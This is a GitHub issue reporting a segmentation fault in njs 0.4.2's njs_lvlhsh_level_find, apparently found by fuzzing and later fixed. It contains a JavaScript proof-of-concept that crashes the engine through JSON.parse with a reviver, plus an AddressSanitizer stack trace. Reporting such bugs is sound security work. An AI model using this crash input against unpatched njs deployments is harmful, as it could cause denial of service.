New issue

Jump to bottom

Segfault in njs_lvlhsh_bucket_find #323

Closed **Changochen** opened this issue on Jun 27, 2020 · 0 comments

Labels bug fluff fuzzer

Changochen commented on Jun 27, 2020

Version: `0.4.2` , git commit `32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5`

POC:

```
var once = false ;
 var a = 1 ;
 function f ( ) { if ( this [ 8 ] = new Uint32Array ( this , this [ 8 ] , ) ) { a = new Array ( new Uint32Array ( a = new Array ( Array , 3 ) ) , { }
 , new ArrayBuffer ( this [ 8 ] ) , 2 , 3 ) ;
 this [ 2 ] = a ;
 }
 once = true ;
 return { }
 ;
 }
 JSON.parse ( "[1, 2, [4, 5]]" , f ) ;
```

cmd: `njs poc.js`

Stack dump:

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==164285==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004ce9a5 bp 0x000067ce764b sp 0x7ffe994919f0 T0)
==164285==The signal is caused by a READ memory access.
==164285==Hint: this fault was caused by a dereference of a high value address (see register values below).  Dissassemble the provided pc to learn which register was used.
    #0 0x4ce9a5 in njs_lvlhsh_level_find /home/yongheng/njs/src/njs_lvlhsh.c:203:12
    #1 0x4ce9a5 in njs_lvlhsh_find /home/yongheng/njs/src/njs_lvlhsh.c:184:16
    #2 0x57ef76 in njs_object_property /home/yongheng/njs/src/njs_object_prop.c:59:15
    #3 0x4ea207 in njs_value_to_primitive /home/yongheng/njs/src/njs_value.c:156:19
    #4 0x59efce in njs_value_to_chain /home/yongheng/njs/src/njs_value_conversion.h:217:19
    #5 0x59efce in njs_array_prototype_join /home/yongheng/njs/src/njs_array.c:1630:23
    #6 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
    #7 0x5fdbb5 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
    #8 0x5fdbb5 in njs_function_call2 /home/yongheng/njs/src/njs_function.c:582:11
    #9 0x590774 in njs_function_apply /home/yongheng/njs/src/njs_function.h:193:12
    #10 0x590774 in njs_array_prototype_to_string /home/yongheng/njs/src/njs_array.c:1539:20
    #11 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
    #12 0x5fdbb5 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
    #13 0x5fdbb5 in njs_function_call2 /home/yongheng/njs/src/njs_function.c:582:11
    #14 0x4ea2a6 in njs_function_apply /home/yongheng/njs/src/njs_function.h:193:12
    #15 0x4ea2a6 in njs_value_to_primitive /home/yongheng/njs/src/njs_value.c:163:23
    #16 0x7369f7 in njs_value_to_number /home/yongheng/njs/src/njs_value_conversion.h:18:15
    #17 0x7369f7 in njs_typed_array_constructor /home/yongheng/njs/src/njs_typed_array.c:145:19
    #18 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
    #19 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
    #20 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
    #21 0x5fdd23 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:175:16
    #22 0x5fdd23 in njs_function_call2 /home/yongheng/njs/src/njs_function.c:582:11
    #23 0x5e6583 in njs_function_apply /home/yongheng/njs/src/njs_function.h:193:12
    #24 0x5e6583 in njs_json_parse_iterator_call /home/yongheng/njs/src/njs_json.c:1015:15
    #25 0x5e6583 in njs_json_parse_iterator /home/yongheng/njs/src/njs_json.c:971:15
    #26 0x5e6583 in njs_json_parse /home/yongheng/njs/src/njs_json.c:167:16
    #27 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
    #28 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
    #29 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
    #30 0x4c8f01 in njs_process_script /home/yongheng/njs/src/njs_shell.c:843:19
    #31 0x4c68ce in njs_process_file /home/yongheng/njs/src/njs_shell.c:562:11
    #32 0x4c68ce in main /home/yongheng/njs/src/njs_shell.c:286:15
    #33 0x7fc3ca354b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #34 0x41c089 in _start (/home/yongheng/njs/build/njs+0x41c089)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yongheng/njs/src/njs_lvlhsh.c:203:12 in njs_lvlhsh_level_find
==164285==ABORTING
```

xeioex added bug fluff fuzzer labels on Jun 28, 2020

nginx-hg-mirror closed this as completed in 9ab425e on Oct 6, 2020

Assignees

No one assigned

Labels

bug fluff fuzzer

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants